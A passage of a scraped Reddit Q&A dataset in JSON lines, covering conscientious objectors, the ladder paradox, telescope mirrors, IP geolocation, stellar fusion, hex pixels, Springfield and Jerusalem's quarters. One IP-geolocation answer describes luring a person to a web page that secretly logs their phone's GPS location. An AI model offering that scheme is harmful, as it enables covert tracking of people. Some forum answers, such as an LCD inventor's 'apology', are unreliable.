common knowledge, and people started to see COs differently and appreciating that they weren't necessarily cowards if they were willing to abide such treatment for their views. However, recent scholarship has also shown that there were places in Britain where anti-war views were relatively tolerated. Cyril Pearce's case study of Huddersfield justifiably concludes that the town was a 'resistor town'. This is too much of a complex argument to fully explain here, but basically COs in Huddersfield were tolerated, listened to, and sympathised with by a large amount of people. The town actually elected a well known CO as their mayor a few years after the war. \n\nSo to answer your question the most likely result of avoiding fighting in France would be extremely poor treatment from the authorities and most likely your own family, friends and the people of your community. However, perceptions did generally change to some degree towards the end of the war, and there were some notable areas where COs were well thought of and perceived as manly for resisting the authorities. \n\nA couple of good sources:\n\nLois Bibbings, Telling Tales About Men: Conceptions of Conscientious Objectors to Military Service During the First World War (Manchester, 2011).\n\nCyril Pearce, Comrades in Conscience: The Story of an English Community's Opposition to the Great War (London, 2001; 2014).\n\nThere are also several journal articles by these scholars out there on similar topics and a fair few books and articles by different people on the Military Tribunals. The work of these two historians has revised a long held consensus that COs only received poor treatment and were only viewed negatively so any books you read published before 2000 are discussing strands of thought that have now been heavily revised.\n\n[EDIT]: A couple of grammer/typo/spacing errors, and a new little bit at the end.", "You might be approached in public by \"White Feather Girls\" and have a white feather (signifying cowardice) pinned to your clothes.\n\nThere was actually an organization of women (The Order of the White Feather) which went around doing this, but unaffiliated young women might do it as well, or might just refer to \"white feathers\" in your presence.\n\n_URL_0_\n\nI also believe I have heard (though I cannot find a source right now) that young women who hung out with men who avoided enlisting might be reminded, \"None but the brave deserves the fair\", by other women.\n\nThe quote is from John Dryden's poem \"Alexander's Feast\" written in 1697:\n\n\n\n'Twas at the royal feast, for Persia won\n\n       By Philip's warlike son:\n\n             Aloft, in awful state,\n\n             The godlike hero sate\n\n       On his imperial throne.\n\n    His valiant peers were placed around;\n\n Their brows with roses and with myrtles bound:\n\n       (So should desert in arms be crowned.)\n\n    The lovely Thais, by his side,\n\n    Sate like a blooming eastern bride,\n\n    In flower of youth and beauty's pride.\n\n          Happy, happy, happy pair!\n\n          None but the brave,\n\n          None but the brave, \n\n          None but the brave deserves the fair.\n\n\n\nI think this phrase was used to chide young women who spent time with men who didn't join up, but would be interested if anyone can shed more light on this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.opendemocracy.net/5050/nicoletta-f-gullace/white-feather-girls-womens-militarism-in-uk"]]}
{"q_id": "jit1g", "title": "What's the difference between extremely fine powder and liquid? Both can be poured and take shape of their containers.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jit1g/whats_the_difference_between_extremely_fine/", "answers": {"a_id": ["c2cgxux", "c2chme0", "c2chrvn", "c2chx79", "c2ci1yd", "c2cgxux", "c2chme0", "c2chrvn", "c2chx79", "c2ci1yd"], "score": [8, 5, 2, 4, 2, 8, 5, 2, 4, 2], "text": ["Fine powder doesn't flow, it gets poured in, and then sits as it is.  Fluids, on the other hand, will have a much larger degree of motion in its particles.    \n\n", "While certainly note the defining difference, I'm pretty sure solutes wouldn't diffuse in a fine powder whereas in a liquid they would (assuming solubility)", "It's a matter of the strength of the bonds involved. Electric force holds everything together. The degree to which this electric force counters the velocity of a particle determines the phase. \n\nA solid is bounded so tightly that atoms are stuck together in a certain orientation. Such as a crystal lattice. A liquid is when you get some more energy and make it so that the atoms have enough energy to move around and not be stuck in this permanent structure. There is still high levels of attraction, just not enough to hold them together in a rigid shape. A gas is when the particles move so fast that they fly around and the attraction is negligible. \n\nFine powders are stuck in their crystal form. Just the crystals are broken into much smaller groups of crystals then a larger crystal. Picture a bunch of squares of lego blocks rolling around. They are stuck as 4 individual legos in one shape. \n\nA liquid is when all of the lego bonds come undone. But, the electric force is still strong enough to make these legos near each other, but not strong enough to force them to snap together into the squares.", "Interesting comments so far.\n\nAnother way to think about this may be in bulk vs. discrete portions. For example, can you define the conductivity of boron powder as a bulk substance?\n\nYou can for acetone.\n\nAlso, powders will not undergo a phase change as a bulk material. Each particle will individually change phase because the powder is a collection of a material, not a single body of a material.\n\nAlso, it would be interesting to see how waves work in powders vs. liquids.", "Would it be reasonable to consider liquids *really really really really really* fine powders, with grains on the molecular scale?", "Fine powder doesn't flow, it gets poured in, and then sits as it is.  Fluids, on the other hand, will have a much larger degree of motion in its particles.    \n\n", "While certainly note the defining difference, I'm pretty sure solutes wouldn't diffuse in a fine powder whereas in a liquid they would (assuming solubility)", "It's a matter of the strength of the bonds involved. Electric force holds everything together. The degree to which this electric force counters the velocity of a particle determines the phase. \n\nA solid is bounded so tightly that atoms are stuck together in a certain orientation. Such as a crystal lattice. A liquid is when you get some more energy and make it so that the atoms have enough energy to move around and not be stuck in this permanent structure. There is still high levels of attraction, just not enough to hold them together in a rigid shape. A gas is when the particles move so fast that they fly around and the attraction is negligible. \n\nFine powders are stuck in their crystal form. Just the crystals are broken into much smaller groups of crystals then a larger crystal. Picture a bunch of squares of lego blocks rolling around. They are stuck as 4 individual legos in one shape. \n\nA liquid is when all of the lego bonds come undone. But, the electric force is still strong enough to make these legos near each other, but not strong enough to force them to snap together into the squares.", "Interesting comments so far.\n\nAnother way to think about this may be in bulk vs. discrete portions. For example, can you define the conductivity of boron powder as a bulk substance?\n\nYou can for acetone.\n\nAlso, powders will not undergo a phase change as a bulk material. Each particle will individually change phase because the powder is a collection of a material, not a single body of a material.\n\nAlso, it would be interesting to see how waves work in powders vs. liquids.", "Would it be reasonable to consider liquids *really really really really really* fine powders, with grains on the molecular scale?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "1jocwt", "title": "A question abour relativity and a ladder", "selftext": "So I've heard of a thought-experiment but I haven't heard the solution yet:\nYou carry a ladder on your shoulder and run with near lightspeed through a door into a room that is shorter than the ladder.\nFrom an observer who stands still compared to the room it looks like the ladder is shorter than the room because it's moving so quickly. As soon as the ladder is completely in the room, the observer shuts the door.\nNow from the observer carrying the ladder it looks like the room itself is shorter, and that there is no way of fitting the ladder into the room.\nSo what exactly would happen now?\n\nI've come to think that either the guy carrying the ladder will just break the wall on the other side and the door will be shut behind him, OR the door can't be closed fast enough before the guy carrying the ladder has stopped, so the door would just bounce off the ladder.\n\nWhat is the solution for that experiment? What do both observers see?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1jocwt/a_question_abour_relativity_and_a_ladder/", "answers": {"a_id": ["cbgo0sc", "cbgo9zy", "cbgonkj", "cbgowa0", "cbgpeap", "cbgqwdq", "cbgrbno", "cbgu8d8", "cbgy5qs"], "score": [50, 17, 188, 8, 107, 9, 2, 2, 2], "text": ["The resolution has to do with the idea of simultaneity in relativity. Even if in the rest frame of the door it appears as if both doors close at the same time, in the rest frame of the ladder they close at different times .\n\n_URL_0_", "Remember, there is no such thing a rigid object. From the runner's perspective, the barn is moving toward him at .99c. The barn's far wall hits the ladder. Because nothing can move faster than light, the back end of the ladder will not start slowing down until it feels the force of the front end pushing on it, and it takes some nonzero amount of time for the force to propagate through the ladder. During this time, while the front end is being pushed back and while the back end is waiting to feel this force, the ladder will contract (in the rest frame of the runner). Thus, the ladder will be able to fit inside the barn.\n\nSo, as expected, both observers (the barn/someone stationary with respect to the barn, and the runner) see the same phenomenon: the runner enters the barn with a ladder short enough to fit inside the barn.\n\nIf you are curious as to why the barn sees a short ladder the entire time, while the runner only sees a short ladder as he enters the barn, remember these two things: simultaneity is relative, and special relativity (which I am assuming is your framework) does not account for accelerating bodies.\n\nSo if you want to know the full story: the ladder makes it inside, but as soon as it stops moving it will expand and pop those barn doors back open. Just remember that all observers must observe the same qualitative picture: if one observer sees the ladder fit, then so must all observers.\n\nAnd don't get hung up on the speed of the door closing, since we can swing them closed at speeds arbitrarily close to c.\n\nEDIT: just clarified things a bit", "Sixty symbols made a video on relativity with a part quite similar to this.\n\n_URL_0_", "The key here is that motion does not propagate through the ladder instantly, it goes through at the speed of sound in that material, which is a very small speed compared to c for materials we know of, but in any case always slower than c.\n\nIf we assume the guy is actually pulling the ladder from the front end, and that he stops right before he hits the back of the room, here's what both people would see:\n\n* The external observer would see a ladder smaller than the room, it would enter the room without problem and the door would close.  It doesn't really matter how the ladder stops.\n\n* The guy carrying the ladder would see a smaller room.  He'd reach the back wall way before the end of the ladder is in.  He would then stop, but it would take some time for this stopping motion to propagate to the rest of the ladder, during which time it keeps going in.  Before the whole ladder stops, it's entirely in the room and the door can close.\n\n", "Basically, it all works out because \"at the same time\" is relative. When you're speeding along, things ahead of you happen earlier and things behind you happen later.\n\n**Room's frame of reference**: The ladder reaches the back wall at the same time as the door closes. The ladder is length contracted and fits momentarily. It then collides into the back wall and the surrounding area is [\"hit by pitch\"](_URL_1_).\n\n**Ladder's frame of reference**: The ladder reaches the back wall before the door closes (ahead happens earlier). As the head of the ladder is disintegrating the back wall of the length-contracted room, the tail of the ladder passes through the doorway and the door closes behind it. Everyone dies.\n\nLinks that might help: [Visualization of Einstein's special relativity \\(video\\)](_URL_2_), and [Paradox of Special Relativity](_URL_0_) (where it finally \"clicked\" for me).", "You should try playing [velocity raptor](_URL_0_). Once you get to the seriously relativistic levels, you'll get a bit more intuition about special relativity.", "This is a \"must read\" to understand special relativity:\n\ngoogle: \"relativity visualized epstein\"", "Made a quick sketch, hope it makes sense: _URL_0_\n\nTop part is with respect to room, bottom part is with respect to an observer who keeps moving at the ladder's initial speed. I am assuming things like the ladder is \"rigidly moving\" with respect to the room. Even if every point on the ladder is brought to a halt the moment it enters the room, that is not what the second observer sees. The second observer will see the ladder go from being stationary to accelerating enough to fit in the shorter room. Let me know if you need more explanation", "It seems like most of the posts here are approaching this incorrectly.\n\nRemember that relativity goes both ways. From the room's reference frame, the ladder looks shorter. However, from the ladder's reference frame, the room is moving at near the speed of light, so it's length will be contracted by the same percentage. So even though it looks like the ladder might fit from the room's perspective, the guy with the ladder will see himself trying to run into a tiny sliver of a room with a long ladder, so he'll never make it through the door.\n\nAssuming the ladder is rigid and doesn't blow through the wall, it would have to decelerate (incredibly) rapidly as soon as the front of the ladder collided with it. The person at the door would see this deceleration before he actually sees the ladder hit the wall and before the back of the ladder is fully in the room. And as the ladder stops, it's length would grow to full size.\n\nSaid another way, the observer at the door would see the ladder almost enter the room but before the ladder is all the way in, it would start growing rapidly. The observer would see the back of the ladder get to it's resting length from the back wall and stop while the front of the ladder would mysteriously stretch out until it meets the wall."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Ladder_paradox"], [], ["https://www.youtube.com/watch?v=kGsbBw1I0Rg&amp;feature=player_detailpage&amp;t=210"], [], ["http://casa.colorado.edu/~ajsh/sr/paradox.html", "http://what-if.xkcd.com/1/", "http://www.youtube.com/watch?v=C2VMO7pcWhg"], ["http://www.testtubegames.com/velocityraptor.html"], [], ["http://imgur.com/lsU53HV"], []]}
{"q_id": "7k87dr", "title": "Why are the mirrors on the newer telescopes shaped like hexagons?", "selftext": "I've seen in the news that there's going to be a big telescope in Chile, or Argentina? Can't remember. Anyways, the mirrors are tons of small hexagons. Why this shape and not squares or triangles?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7k87dr/why_are_the_mirrors_on_the_newer_telescopes/", "answers": {"a_id": ["drciuvt", "drcod2z", "drcogj9", "drcpxu5", "drcrv90"], "score": [51, 14, 4, 2, 10], "text": ["Disclaimer: amateur astronomer.  I have a clue, but no guarantee that I'm right!\n\nIn the past, large telescopes like the 200\" at Mt. Palomar would be just one large circular mirror.  When you try to scale up much beyond that, you get problems like the mirror sagging under its own weight, ruining the image.  The modern multi-segmented mirrors are a workaround to this problem.  I believe that the hexagonal shape of the mirrors is simply for most efficient packing, getting the most surface area within a given overall diameter.  The first big multi-mirror scope, the MMT in Arizona, used 6 circular mirrors, and if you look at pictures of it, the wasted space really jumps out at you.", "For the same \"diameter\" of the mirrors you need fewer hexagons than squares or triangles, and the hexagon shape avoids sharp edges. It is closer to circles which means you can use existing infrastructure with smaller modifications. It also means you only have to put together three components at the corners, not 4 or 6.", "Maybe because mirrors are still made using a process that produce circular mirrors. Hexagonal packing is the one that requires the less cut away from those mirrors and still allow regular packing into a bigger mirror.", "Do the hexagonal mirrors still have a curved surface or are they all flat?", "Here's a page on the ESO (European Southern Observatory) website:\n_URL_0_\n\n\"798 segments will be mounted, plus a maintainance set, for a total of 931 segments. The segments are hexagonal in shape, which permits the use of a common support structure for all segments. The maximum corner to corner dimension for the segments is about 1.45 m. \nThe primary mirror segments of the E-ELT can be moved in piston and tip-tilt and therefore can compensate for some deflections of the mirror cell due to temperature and gravity. \" "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.eso.org/sci/facilities/eelt/telescope/mirrors/"]]}
{"q_id": "4hwgsp", "title": "why is ip tracing so inaccurate?", "selftext": "I've traced my own IP and ended up miles away", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4hwgsp/eli5_why_is_ip_tracing_so_inaccurate/", "answers": {"a_id": ["d2sxaip", "d2sy3gu", "d2sytk6", "d2t0qko", "d2t7csr", "d2t9bbj", "d2tdtg7", "d2te8oz", "d2tjlbq", "d2tqbsq"], "score": [150, 75, 17, 2452, 21, 7, 7, 10, 14, 2], "text": ["Because your ISP doesn't have any obligation to tell the internet where your IP address points to in a physical sense. It doesn't even need to know. It just needs to know which wires to send the packets down, not the GPS coordinates those wires terminate at.  \n\n", "because IP pools are assigned to a region by the ISP provider.      they're not assigned to each house.     your IP can change within that pool without warning or notice.  ", "First, you're using the wrong term. IP tracing means you trade the IP address. That is mostly accurate until you hit a NAT and/or firewall. \n\nYou're talking about IP address *geolocation*. And, as it has been pointed out, nobody is required to keep this information accurate so you're relying on incomplete databases. ", "What you are asking about is geolocation - that is, mapping an IP address (which is a non-physical entity) to a physical location. \n\nWhen a service such as Amazon or Netflix wants to determine where you are located, they refer to a geolocation database - a list of IP addresses matched to real-world addresses. The most popular geolocation database that I know of is [MaxMind](_URL_0_).\n\nHow does MaxMind get this information? Well, from whois lookups. Each region in the world has an IP registry - this is a body tasked with distributing blocks of IP addresses to service providers and companies. In the US, this body is called ARIN. As part of this work, ARIN operates a \"whois\" database (who is this IP address?). When an ISP assigns an IP address or block of IP addresses for a purpose, they are supposed to create a record at ARIN that then generates a whois record. These records can contain ownership details, addresses, telephone numbers, email addresses, routing details and more. From the addresses they can also generate a latitude and longitude, just as Google Maps can do when given an address.\n\nHowever, as a home user with a single IP address it is unlikely that your ISP will have gone to the effort of registering your IP address with your details. It would be a lot of time and work invested in something that would have little to no return. More than likely they simply have a pool of addresses - sometimes they will have a pool assigned to a city or suburb. If your ISP gives you a dynamic address (one that changes every time you reconnect or periodically) it is even more unlikely. \n\nSecondly, this would also mean that anyone would be able to look up your name, home address and other details simply from your IP address. Useful for legitimate companies, but it would be also be available to scammers, trolls and worse.\n\nSo when a geolocation database is queried for your location, it is most likely just returning the location specified on the whois record for your IP address - which for most home users is just going to be somewhere nearby, or the ISP's local office or POP (Point of Presence - where your broadband service is connected to).", "Gotta love these ads: Hi sweety, I see you live in [error 24: unable to locate] too, let's chat!", "Because the IP is owned by the ISP and it can be narrowed down to the AREA that the ISP is using it in, if even that.\n\nIf someone really wants to find out where their adversary is, they can put up a webserver, put a page on it with a navigator.geolocation call that logs the returned data to the server, and then trick the adversary into visiting the page on a mobile phone or other GPS enabled device. \n\nIt is basically a way to use an adversary's phone as a GPS tracker.", "Don't know if anybody posted this yet, but here's an article with a great explanation\n_URL_0_", " > I've traced my own IP and ended up miles away\n\nTIL tracing your own IP address is a method of quickly transporting from one location to another. If scientists can harness this phenomenon we may effectively have discovered faster-than-light travel!", "These answers annoy me.\n\nThe short answer is because it's not meant to be traceable. \n\nThe genius of IP is that it does not focus on physical location in order to make sense, which is why I can have the same IP address on my laptop for eight straight hours whilst on a plane cruising along a jet stream at 10 miles a minute.\n\nWhat geolocation databases attempt to do is sell something they can't possibly know accurately based on statistical confidence inferred from a range of sources. ICANN lookups determine which continent the address was assigned to. WHOIS lookup will likely get you to a country or perhaps a state. If it's a small ISP, maybe a City. If somebody has sold your personal data from a transaction you made, an advert you clicked on, etc. it might get more closer.\n\nAnd remember, it's not your IP address. It's your ISPs. They lend it to you for a while. They might take it off you, give it somebody else 100 miles away and give you another address. That's how it works.\n\n95% of the time the location given by DBs - easily shown by looking at sites like _URL_0_ - it will be where your ISP is located, not where you are located.\n\nAnd long may this continue. If websites need more accurate location data, they can ask for it, and your laptop or phone can check based on the WiFi MAC addresses they can see where you are to within a hundred yards.", "IP addressing has only a co-incidental relationship with geography. It's purpose is to describe a nodes logical position to other network nodes. Using it to locate nodes physically sometimes works, but was never intended to be a feature."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.maxmind.com/"], [], [], ["http://fusion.net/story/287592/internet-mapping-glitch-kansas-farm/"], [], ["whatismyip.com"], []]}
{"q_id": "6xptci", "title": "Can a star have more than one fusion core?", "selftext": "Other than supernova, could for example a blue supergiant/hypergiant have hotspots not in the center that cause fusion?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6xptci/can_a_star_have_more_than_one_fusion_core/", "answers": {"a_id": ["dmhqhqm"], "score": [47], "text": ["The Evolution of some very massive stars ( >  8M\u2299) leads them to a state in which fusion is occuring at numerous locations within the star.  For example:\n\nInitiallly H fuses into He in the core\n\nAfter 10 Myr,\n\n* core H is exhausted, \n* He core contracts, heats.\n* H fuses to He in shell around the contracting core\n\nWhen core temp reaches 170M K,\n\n* core He begins fusing into C and O\n* H fusion continues in a shell surrounding the He burning core.\n\nAfter ~1 Myr, \n\n* core He is exhausted.\n* C/O core contracts and heats\n* He fusion continues in a shell surrounding the contracting core\n* H fusion continues in a shell surrounding He shell.\n\nAt core temperature of 600M K, \n\n* core C begins fusing into O, Ne, and Mg.\n* He fusion continues in a shell around the C burning core\n* H fusion continues in a shell around the He shell.\n\nAfter  <  1000 years, core C is exhausted, \n\n* the O/Ne/Mg core contracts and heats\n* C fusion continues in a shell around the contracting core,\n* He fusion continues in a shell around the C shell,\n* H fusion continues in a shell around the He shell\n\nAt core temperature of 1.5B K, \n\n* core Ne begins fusing into O, Mg, ...\n* C fusion continues in a shell around the Ne burning core,\n* He fusion continues in a shell around the C shell,\n* H fusion continues in a shell around the He shell\n\nAfter a few years, \n\n* core Ne is exhausted,\n* O / Mg core contracts, heats\n* Ne fusion continues in a shell around the contracting core,\n* C fusion continues in a shell around the Ne shell,\n* He fusion continues in a shell around the C shell,\n* H fusion continues in a shell around the He shell\n\nAt core temperature of 2.1B K, \n\n* core O begins fusing into Si and others\n* Ne fusion continues in a shell around O burning core,\n* C fusion continues in a shell around the Ne shell,\n* He fusion continues in a shell around the C shell,\n* H fusion continues in a shell around the He shell\n\nAfter a few months, \n\n* core O is exhausted,\n* Si core contracts, heats\n* O fusion continues in a shell around the contracting core,\n* Ne fusion continues in a shell around the O shell\n* C fusion continues in a shell around the Ne shell,\n* He fusion continues in a shell around the C shell,\n* H fusion continues in a shell around the He shell\n\nAt core temperature of 3.5B K, \n\n* core Si begins fusing into Ni and Fe\n* O fusion continues in a shell around the Si burning core,\n* Ne fusion continues in a shell around the O shell,\n* C fusion continues in a shell around the Ne shell,\n* He fusion continues in a shell around the C shell,\n* H fusion continues in a shell around the He shell\n\nThis lasts perhaps a day.  Tomorrow the star explodes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1pc62j", "title": "Are hex-shaped pixels better than square-shaped? Are they viable?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1pc62j/are_hexshaped_pixels_better_than_squareshaped_are/", "answers": {"a_id": ["cd0wnii", "cd0x55t", "cd0xe48", "cd12251", "cd13b9e", "cd14jek", "cd14vx0", "cd157zd", "cd15kjk", "cd17c0f"], "score": [43, 30, 37, 16, 2, 2, 249, 2, 7, 2], "text": ["They would probably be quite a pain to do computation for - whilst for square pixels you can handle the screen as a 2D grid (which is the sort of computers *love* to work with), handling a hex-based system would be an absolute pain to do.\n\nThere's also the fact that for current image formats, you would have to interpolate points between the current data points at all positions - because they too are stored as a grid, matching the pixels.\n\nAlso, how do you handle the edges of the screen - do you go for a hexagonal monitor, or a zig-zagging effect up the side?\n\nI'm not sure what the actual advantages would be - you *might* get a higher pixel density, depending on the design of the individual pixels, but we're pretty good for pixel density already.", "I quite like triangular pixels. Hexagonal pixels don't let you draw a straight line at all without ugly jagged edges. Square pixels have 2 angles at which they can draw perfect straight lines. Triangular pixels have 3.\n\nYou can represent hex- and tri- pixels as a 2d grid of numbers, just like square pixels, but it takes some getting used to.\n\nThey're pretty good for drawing \"isometric 3d\" images.\n\nSquare pixels are generally superior, but I think trixels are more fun.", "In another life I investigated hexagonal sampling.  It had some advantages for the reconstruction filter (we were using CRTs in those days), and it's not hard to do computationally (you can shift every 2nd row right or left by half a pixel), but I concluded that it wasn't really worth the effort.  (Edited to remove spurious \"at\")", "A while back the guy that invented the LCD screen put out a letter of apology to the internet. He had made the first LCD screen be just 2D boxes because it was easy and he wanted to grab the patent. He had always intended to shift it to different shapes like triangles arranged in a weird pattern (not sure how to describe it) as it would have allowed for diagonal or round lines on the screen without as much noticeable pixel jumping (the effect you get when you draw a diagonal line in MS Paint, you can see the sudden jump from one row of pixels to another). This would have allowed much higher definition images sooner and he theorized also cheaper.\n\nBasically instead of actually working on that he kept being in a loop of \"Got that done...but I can make this simple improvement and it makes this better...I'll push off the triangles till later.\"\n\nIf I remember right, he is finally looking into it, but doesn't particularly expect it to beat out current displays.\n\nNow this doesn't technically answer your question directly, but effectively to the question of \"Are alternate shaped pixels better than square/rectangle shaped ones?\" the answer is \"It is harder to do, but had we jumped to them early on we could have had much better displays. Today you are unlikely to notice the difference too badly on some super HD screens.\"", "It would actually be fantastic for flattening any scene rendered in 3D of any sort - as the computation of rasterizing something would just be a simple formula very similar to doing is as it done at present.\n\nFor working on flat 2D images though, it would make things very difficult for humans to work with.", "There are some neat advantages, but from an engineering perspective it's irrelevant if you can get the pixels small enough (for example, retina-display DPI or beyond). Unless you could get cost savings from hexagonal pixels, which I seriously doubt, there is no real reason to switch.", "**Are hex-shaped pixels better than square-shaped?**\n-----\n\nThe answer is, for the most part, no. Here's an easy way to see why. This is how you draw a rectangle and a circle in a square grid:\n\n    X X X X X X    _ _ X X _ _\n    X _ _ _ _ X    _ X _ _ X _\n    X _ _ _ _ X    X _ _ _ _ X\n    X _ _ _ _ X    _ X _ _ X _\n    X X X X X X    _ _ X X _ _\n\nThis is how you draw a rectangle and a circle in hex:\n\n    _ X X X X X    _ _ X X _ _\n     X _ _ _ X _    X _ _ _ X _\n    _ X _ _ _ X    X _ _ _ _ X\n     X _ _ _ X _    X _ _ _ X _ \n    _ X X X X X    _ _ X X _ _\n\nWhich one looks better for rectangles? For circles? Now look at this website, your browser, your desktop, your file system, your word processor. Now tell me, what's more important, drawing rectangles or drawing circles?\n\n\n**Are they viable?**\n-----\n\n\nAbsolutely. Here's what most LCD monitors looks like under a microscope. _URL_1_\n\nWhoa! Where did all the bars come from? A single pixel is actually made up of 3 subpixels, each showing red, green, or blue that are so close together that our eyes can't tell them apart. A rectangular pixel grid actually looks like this (checkerboard to help you show pixel boundaries):\n\n**RGB**RGB**RGB**RGB**RGB**RGB\n\nRGB**RGB**RGB**RGB**RGB**RGB**\n\n**RGB**RGB**RGB**RGB**RGB**RGB\n\nRGB**RGB**RGB**RGB**RGB**RGB**\n\n**RGB**RGB**RGB**RGB**RGB**RGB\n\nRGB**RGB**RGB**RGB**RGB**RGB**\n\n**RGB**RGB**RGB**RGB**RGB**RGB\n\nLet's take that same mass of subpixels and group them sliiiiiightly differently.\n\nRGB**RGB**RGB**RGB**RGB**RGB**\n\nRG**BRG**BRG**BRG**BRG**BRG**B\n\nRGB**RGB**RGB**RGB**RGB**RGB**\n\nRG**BRG**BRG**BRG**BRG**BRG**B\n\nRGB**RGB**RGB**RGB**RGB**RGB**\n\nRG**BRG**BRG**BRG**BRG**BRG**B\n\nDon't see it? Let's group a bunch of them together to make it more obvious.\n\nRG**BRG**BRG**BRG**BRG**BRG**B\n\n**RGBRGBRGBRGBRGBRGB**\n\nRG**BRG**BRG**BRG**BRG**BRG**B\n\nRGBRGBRGBRGBRGBRGB\n\nRG**BRG**BRG**BRG**BRG**BRG**B\n\nWhat does that look like to you? Pretty much a hexagon, right? The difference in shape between that and a hexagon is smaller than our eyes can detect, because if our eyes could detect that difference it'll also detect the fact that your white pixels are just really closely grouped color ones. Boom, I just made your screen use hexagonal pixels and you didn't even need to buy a need laptop.\n\nNow, can we somehow replace the rectangular subpixels with something different? Absolutely, in fact, there are more [subpixel geometries](_URL_0_) than the most common square one, and *gasp*! Some of them are kind of hexagonal. So yes, it is possible to build a hexagonal pixel.\n\nIn Conclusion, a.k.a.\n-----\n**tl:dr;** Hexagonal pixels are not really better if you want to draw rectangles, which is what all of our UIs are based off of. And yes, you can make hexagonal pixels, because pixels are actually lies, they're just even tinier subpixels that can only be different brightnesses of red, green, or blue.\n", "The subpixel organization of such displays might make images and text look different and would require every Anti-Aliased text renderer to redesign their algorithms for this new \"Hex Shape\" to look any good on screen.\n\nWith my tests on a Samsung TV (with their Pentile Brand diamond shaped pixels) the text looks fuzzy at first, and many pictures lose their sharpness under it. After some adjustment with how the image is drawn on screen, the perceived quality can be improved, very close to that of a normal LCD.\n\nMost straight lines and straight-edge polygons would look blurry or jagged in a hex pixel display, compared to what we currently use. Overall, it might depend on what you are trying to show. Optimized images for a hex system would look better than trying to convert ones for different pixel arrangements, but that requires implementation that could be seen as \"not viable\".", "I'm not sure how you are defining \"better,\" but [here is a relevant blog post](_URL_0_) on non-square pixels. Some of them look pretty badass. He even uses M.C. Escher\u2019s reptile tessellation at one point!", "Pixels are getting smaller and smaller to the point where they are completely indistinguishable by the human eye so then it comes down to the producers. One might be cheaper to build and one may have technological benefits over the other.\n\ntl:dr; Soon, it won't even really matter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://upload.wikimedia.org/wikipedia/commons/4/4d/Pixel_geometry_01_Pengo.jpg", "http://imgur.com/PXPUqFI.jpg"], [], ["http://loomsci.wordpress.com/2013/06/27/non-square-pixelations/"], []]}
{"q_id": "3ucndj", "title": "why is there a springfield in every state?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ucndj/eli5_why_is_there_a_springfield_in_every_state/", "answers": {"a_id": ["cxdqgyu", "cxdsq9r", "cxdtvrt", "cxdu1x7", "cxdvkz8", "cxdwt6x", "cxdzaxl", "cxe21kz"], "score": [213, 53, 29, 37, 6, 2, 8, 3], "text": ["Basically because people used to name cities after other cities, like how a lot of cities in the New England area are named after cities in England.  The first Springfield in the US was Springfield, Massachusetts, itself named after Springfield, Essex.  During the Industrial revolution, Springfield, MA became somewhat of a big deal, and other cities took its name.", "Only 34 states have a Springfield according to [this Conde Nast article](_URL_0_).  It also claims that Riverside is really the most common name. ", "So that we can't locate the Simpsons and throw pizzas on the roof of the house in the Evergreen Terrace", "My personal favorite is why is there a town in the middle of pennsylvania called jersey shore???", "Which Springfield does the Simpsons live in?", "Because, while a little older, the Springfield was a fairly accurate rifle with only a little practice?", "So you will never know where the Simpsons lived. They wouldn't want a bunch of people showing up to town simply to be on the TV.\n", "There was s a spring in a field and they built a town there in all those states?  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.cntraveler.com/stories/2015-08-17/does-every-state-really-have-a-springfield-ken-jennings"], [], [], [], [], [], []]}
{"q_id": "7ia3vv", "title": "Jerusalem has Jewish, Christian, Muslim, and Armenian quarters. Why Armenian?", "selftext": "What made the Armenians distinct from other Christians? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7ia3vv/jerusalem_has_jewish_christian_muslim_and/", "answers": {"a_id": ["dqxi0js", "dqy3nz3"], "score": [142, 184], "text": ["I\u2019d also like info on the now gone Moroccan quarter(?), why was Morocco (in addition to Armenia) so prominent in the Old City?", "This is a remnant of the Ottoman \"millet\" system, which was an ethno-religious division of Ottoman society into discrete and self-government autonomous units. The Ottomans basically told every group of discreet people that they could govern themselves and handle their own internal community disputes according to their own traditions. In return, when the Ottoman government needed something from this or that millet, they turned to that millet's head to coordinate and micro-manage for them. Effectively, this minimized the impact of Ottoman-rule (which might have felt heavier otherwise) on peoples newly conquered. So Greeks were more or less autonomous under the Greek Orthodox Patriarchate, the Armenians under their Patriarchate, etc. This is where it gets a little tricky, however. The Greeks, for example, claimed that all Orthodox should be government by them (this would mean that Greeks could send high ranking officials from Istanbul's Phanariot community -greek-speaking orthodox elite) to govern Bulgarians, Serbians, Romanians, Armenians, etc. They did just did, but eventually some of these groups lobbied for their own unique millets. And the Ottomans often obliged (they didn't care as long as the system overall was stable). \n\nEssentially, the Armenian millet in Jerusalem was big enough and important enough for local artisanship and trade that they won the privilege of having their own separate millet... with their own separate quarter of Jerusalem. In fact, overall, Armenians had two separately governed millets of their own (Armenian Orthodox and Armenian Catholic). That's because the foundation of a millet was confessional, based on religious practices. So if Armenians were split into two groups by church, then they were split into two groups by law, living arrangements, jobs, etc. \n\nThat being said, there have always been Armenians in Jerusalem, but it was under Ottoman rule that various religious differences between Christian groups coalesced into a separate quarter for Armenians. \n\nThe current walls (literally separating the city) were built, for example, in 1558 -- under the reign of Suleiman I, a Sultan known to be particularly beloved by Armenians -- probably because he let them rule themselves and recognized their autonomy under a separate millet against the wishes of Greek Christians who would have preferred to govern Armenians on behalf of the central state. Armenians were particularly beloved members of the Ottoman mosaic, being known as the 